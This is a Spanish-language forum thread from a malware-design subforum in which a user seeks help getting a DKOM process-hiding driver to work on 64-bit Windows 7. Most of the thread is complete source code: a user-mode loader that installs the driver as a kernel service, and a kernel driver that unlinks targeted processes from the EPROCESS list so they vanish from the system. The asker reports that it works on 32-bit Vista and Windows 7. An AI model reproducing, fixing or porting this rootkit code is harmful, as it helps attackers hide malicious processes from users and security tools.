elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  DKOM windows 7 64bits
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: DKOM windows 7 64bits  (Leído 4,452 veces)
JORGEPO

Desconectado Desconectado

Mensajes: 3


Ver Perfil
DKOM windows 7 64bits
« en: 7 Octubre 2011, 13:22 pm »

Buenas:

Primero gracias a Hendrix, Crack y cia por ese Hilo sobre Drivers y todos los temas sobre ello. (doy las gracias al creador y a los que participaron)

Lo segundo es plantear mi problema.

No consigo hacer funcionar el DKOMDRIVER en sistemas operativos de 64 bits. Primero de todo, se que se necesitan drivers firmados por microsoft. Ese no es el problema, el tema es que al ejecutar el driver (se carga correctamente) da una bonita BSOD.

Si por ejemplo ejecuto el driver sin tener ningun proceso que ocultar no pasa nada. Pero al ejecutarlo con algun proceso que ocultar peta.

¿alguna ayuda sobre donde poder tirar?

Muchas gracias de antemano.

PD: Me costo hacer funcionar el codigo del DKOMDRIVER, dado mi ya olvidado nivel de C. Pero consegui que funcionara en win7 32 bits y win Vista tb 32 bits.
En línea

Arkangel_0x7C5


Desconectado Desconectado

Mensajes: 361



Ver Perfil
Re: DKOM windows 7 64bits
« Respuesta #1 en: 8 Octubre 2011, 13:54 pm »

Pues seguramente falle porque la estructura cambia en windows de 64bits.
Sin codigo solo se pueden hacer suposiciones

Saludos
En línea

JORGEPO

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: DKOM windows 7 64bits
« Respuesta #2 en: 10 Octubre 2011, 09:35 am »

http://neosysforensics.blogspot.com/2008/11/ocultacin-de-procesos-en-windows-dkom.html

Aqui esta el codigo, solo que he metido que me detecte si es 32 o 64 bits. Y ademas he puesto que detecte el VISTA y el Win7

Código:
 if(GetVersionEx((OSVERSIONINFO *) &osvi))
   {
      switch(osvi.dwPlatformId)
      {
         // Comprobamos la version de Windows NT
         case VER_PLATFORM_WIN32_NT:
         
            if(osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
            {
               flinkValue = 0x98;
               return IS_WINDOWS_NT;
            }
            else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
            {
               flinkValue = 0xA0;
               return IS_WINDOWS_2000;
            }
            else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
            {
               flinkValue = 0x88;
               return IS_WINDOWS_XP;
            }
            else if(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
            {
               flinkValue = 0x88;           
               return IS_WINDOWS_2003;
            }
            else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
            {
                 if ( si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64 )
                 {
                    //StringCchCat(pszOS, BUFSIZE, TEXT( ", 64-bit" ));
                    flinkValue = 0x188;           
                    return IS_WINDOWS_7;
                 }
                 else if (si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_INTEL )
                 {
                    //StringCchCat(pszOS, BUFSIZE, TEXT(", 32-bit"));
                    flinkValue = 0x0b8;           
                    return IS_WINDOWS_7;
                 }
            }
            else if(osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
            {
               flinkValue = 0x0a0;           
               return IS_WINDOWS_VISTA;
            }
            else
            { 

               return NOT_SUPPORTED;
            }
                       
            break;
      }
   }
En línea

Arkangel_0x7C5


Desconectado Desconectado

Mensajes: 361



Ver Perfil
Re: DKOM windows 7 64bits
« Respuesta #3 en: 10 Octubre 2011, 11:08 am »

Pero la parte que me has enseñado solo comprueba la versión de windows
En línea

JORGEPO

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: DKOM windows 7 64bits
« Respuesta #4 en: 10 Octubre 2011, 12:18 pm »

Si perdon, habia puesto el link de donde saque el codigo.

Repito que si no encuentra ningun proceso a ocultar no da error, pero cuando ha de ocultar uno casca.


Desde aqui llama al DKOM.
Código:
      GetSystemDirectory(driverPath, MAX_PATH);
  strcat(driverPath, "\\drivers\\dkomdriver.sys");
  CopyFile("dkomdriver.sys", driverPath, FALSE);
 
  removeDkomService(VERBOSE_OFF);
 
  scManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
      if(!scManager)
      {
         printf("[ERROR] No se ha contactado con Service Control Manager\n");
         return FALSE;
      }
      printf("[OK] Abierta una conexion con Service Control Manager\n");
     
      scService = CreateService(scManager,
                                "dkomdriver",
                                "dkomdriver",
                                SERVICE_ALL_ACCESS,
                                SERVICE_KERNEL_DRIVER,
                                SERVICE_DEMAND_START,
                                SERVICE_ERROR_NORMAL,
                                driverPath,
                                NULL,
                                NULL,
                                NULL,
                                NULL,
                                NULL);
      if(!scService)
      {
         if(GetLastError() == ERROR_SERVICE_EXISTS)
         {
//AQUI SE CUELGA SUPUESTAMENTE. AUNQUE NO HE PODIDO COMPROBARLO FIJO     
           scService = OpenService(scManager, "dkomdriver", SERVICE_ALL_ACCESS);
            if(!scService)
            {
               printf("[ERROR] No se ha podido crear el servicio 'dkomdriver'\n");
               CloseServiceHandle(scManager);
               return FALSE;
            }
         }
         else
         {
            printf("[ERROR] No se ha podido crear el servicio 'dkomdriver'\n");
            CloseServiceHandle(scManager);
            return FALSE;
         }
      }
      printf("[OK] Se ha creado correctamente el servicio 'dkomdriver'\n");
     
      if(!StartService(scService,0,NULL))
      {
         if(GetLastError() != ERROR_SERVICE_ALREADY_RUNNING)
         {
            printf("[ERROR] No se ha iniciado el servicio 'dkomdriver'\n");
            CloseServiceHandle(scManager);
            CloseServiceHandle(scService);
            return FALSE;
         }
      }
      printf("[OK] Se ha iniciado correctamente el servicio 'dkomdriver'\n");
 
  // Provoca la llamada a la MajorFunction dkomCreate
  hDevice = CreateFile("\\\\.\\dkomdriver",
                           GENERIC_READ | GENERIC_WRITE,
                           0,
                           NULL,
                           OPEN_EXISTING,
                           FILE_ATTRIBUTE_NORMAL,
                           NULL);     
      if(hDevice == INVALID_HANDLE_VALUE)
      {
         printf("[ERROR] No ha podido obtenerse un manejador de control\n");
         return FALSE;
      }
      printf("[OK] Se ha obtenido correctamente el manejador de control\n");
     
      first = getProcessList("hide_");
      current = first;
     
      if(numProcess2Hide == 0)
         printf("[OK] No existen procesos que ocultar (con el prefijo hide_)\n");
     
      while(current != NULL)
      {
         p2h.iPid = current->iPid;
         p2h.iFlinkOffset = flinkValue;
         
         if(!DeviceIoControl(hDevice,
                             (DWORD) IOCTL_DRV_HIDE,
                             (VOID *) &p2h,
                             sizeof(proc2Hide),
                             NULL,
                             0,
                             &dwBytesRet,
                             NULL))
         {
            printf("[ERROR] No ha podido enviarse codigo de control al driver\n");
            CloseHandle(hDevice);
            return FALSE;
         }     
       
         printf("[OK] Indicando a dkomdriver que oculte proceso con PID %d\n",p2h.iPid);       
         
         current = current->next;
         //Eliminamos elemento de la lista
         free(first);
         first = current;
         
         ZeroMemory(&p2h,sizeof(proc2Hide));       
      }
     
      // Provoca la llamada a la MajorFunction dkomClose
      CloseHandle(hDevice);

   }
   else if (strcmp((char *)argv[1], "off") == 0)
   {
      removeDkomService(VERBOSE_ON);
      GetSystemDirectory(driverPath, MAX_PATH);
  strcat(driverPath, "\\drivers\\dkomdriver.sys");
 
      if(!DeleteFile(driverPath))
         printf("[ERROR] No se ha podido eliminar el driver dkomdriver.sys\n");
      else
         printf("[OK] Se ha eliminado correctamente el driver dkomdriver.sys\n");

   }
   else
   {
      printUsage(argv[0]);
      return FALSE;
   }
         
   return TRUE;


Esto es el codigo del DRIVER
Código:
//#include <ntddk.h>
#include "ntifs.h"
#include "interface.h"

NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject,IN PUNICODE_STRING registryPath);
NTSTATUS dkomCreate(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomWrite(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomRead(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomClose(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomControl(IN PDEVICE_OBJECT deviceObject,IN PIRP Irp);
NTSTATUS dkomUnload(IN PDRIVER_OBJECT driverObject);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   UNICODE_STRING deviceNameUnicode, dosDeviceNameUnicode;
   PDEVICE_OBJECT dkomDevice;
   int i;
   
   DbgPrint("Llamada a driverEntry\n");
   
   RtlInitUnicodeString(&deviceNameUnicode,dkomDeviceName);
   ntstatus = IoCreateDevice(driverObject,
                             0,
                             &deviceNameUnicode,
                             FILE_DEVICE_UNKNOWN,
                             FILE_DEVICE_SECURE_OPEN,
                             FALSE,
                             &dkomDevice);
   if(!NT_SUCCESS(ntstatus)){
      DbgPrint("Fallo al crear el dispositivo\n");
      return ntstatus;
   }
   DbgPrint("Dispositivo creado correctamente\n");
   
   RtlInitUnicodeString(&dosDeviceNameUnicode,dkomDeviceLink);
   ntstatus = IoCreateSymbolicLink(&dosDeviceNameUnicode,
                                   &deviceNameUnicode);   
   if(!NT_SUCCESS(ntstatus))
   {
      IoDeleteDevice(dkomDevice);
      DbgPrint("Fallo al crear el enlace simbolico\n");
      return ntstatus;
   }
   DbgPrint("Enlace simbolico creado correctamente\n");
   
   driverObject->MajorFunction[IRP_MJ_CREATE]         = dkomCreate;
   driverObject->MajorFunction[IRP_MJ_CLOSE]          = dkomClose;
   driverObject->MajorFunction[IRP_MJ_READ]           = dkomRead;
   driverObject->MajorFunction[IRP_MJ_WRITE]          = dkomWrite;     
   driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = dkomControl;
   driverObject->DriverUnload                         = dkomUnload;
   
   return ntstatus;
}

NTSTATUS dkomCreate(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   DbgPrint("Llamada a dkomCreate\n");
   return ntstatus;
}

NTSTATUS dkomWrite(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   DbgPrint("Llamada a dkomWrite\n");
   return ntstatus;
}

NTSTATUS dkomRead(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   DbgPrint("Llamada a dkomRead\n");
   return ntstatus;
}

NTSTATUS dkomClose(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   DbgPrint("Llamada a dkomClose\n");
   return ntstatus;
}

NTSTATUS dkomControl(PDEVICE_OBJECT deviceObject, PIRP Irp)
{
   NTSTATUS ntstatus = STATUS_NOT_IMPLEMENTED;
   PIO_STACK_LOCATION pStack;
   PLIST_ENTRY pProcessList;
   PEPROCESS pEProcess;
   proc2Hide *p2h;
   ULONG uEProcessAddr;
     
   DbgPrint("Llamada a dkomControl\n");
   
   pStack = IoGetCurrentIrpStackLocation(Irp);
   Irp->IoStatus.Status      = STATUS_SUCCESS;
   Irp->IoStatus.Information = 0;
   
   switch(pStack->Parameters.DeviceIoControl.IoControlCode)   
   {
      case IOCTL_DRV_HIDE:
           
         DbgPrint("Recibido codigo de control IOCTL_DRV_HIDE\n");
         p2h = (proc2Hide *) Irp->AssociatedIrp.SystemBuffer;
         if(PsLookupProcessByProcessId((PVOID)p2h->iPid,&pEProcess) == STATUS_SUCCESS)
         {
            DbgPrint("Ocultando proceso con PID %d en la direccion %08lX\n",p2h->iPid,pEProcess);
            uEProcessAddr = (ULONG) pEProcess;
            pProcessList = (LIST_ENTRY *)(uEProcessAddr + p2h->iFlinkOffset);
            *((ULONG *) pProcessList->Blink) = (ULONG) pProcessList->Flink;
            *((ULONG *) pProcessList->Flink + 1) = (ULONG) pProcessList->Blink;
            pProcessList->Flink = (LIST_ENTRY *) &(pProcessList->Flink);
            pProcessList->Blink = (LIST_ENTRY *) &(pProcessList->Flink);
         }
         else
            DbgPrint("No se ha obtenido la direccion del EPROCESS para el PID\n",p2h->iPid);
         
         break;
         
      default:
         DbgPrint("Recibido codigo de control no definido\n");     
         break;
   }
   
   ntstatus = Irp->IoStatus.Status;
   IoCompleteRequest(Irp,IO_NO_INCREMENT);
   return ntstatus;
}

NTSTATUS dkomUnload(IN PDRIVER_OBJECT driverObject)
{
   NTSTATUS ntstatus = STATUS_SUCCESS;
   PDEVICE_OBJECT dkomDevice = driverObject->DeviceObject;
   UNICODE_STRING dosDeviceNameUnicode;
   
   DbgPrint("Llamada a dkomUnload\n");
   
   RtlInitUnicodeString(&dosDeviceNameUnicode,dkomDeviceLink);
   IoDeleteSymbolicLink(&dosDeviceNameUnicode);
   DbgPrint("Se ha eliminado el enlace simbolico\n");
   IoDeleteDevice(driverObject->DeviceObject);
   DbgPrint("Se ha eliminado el device\n");
   
   return ntstatus;
}

En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Mi procesador soporta windows 7 64bits?
Hardware
Pheztox 9 8,988 Último mensaje 17 Julio 2010, 19:06 pm
por rasdro
Windows 7 - 64bits Procesador Corei5 « 1 2 »
Windows
Lupin 11 10,343 Último mensaje 3 Septiembre 2010, 21:55 pm
por Randomize
windows xp 32 y 7 64bits
Windows
maxmag 4 5,007 Último mensaje 11 Septiembre 2010, 11:16 am
por Songoku
Problemas con Tor en Windows 7 64bits
Windows
Attaque77 1 3,378 Último mensaje 1 Enero 2012, 22:15 pm
por Randomize
Necesito una Version de SQL compatible con Windows 8 Single Language 64bits Help
Bases de Datos
eLPortaFrases 1 4,570 Último mensaje 24 Abril 2013, 22:52 pm
por Carloswaldo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines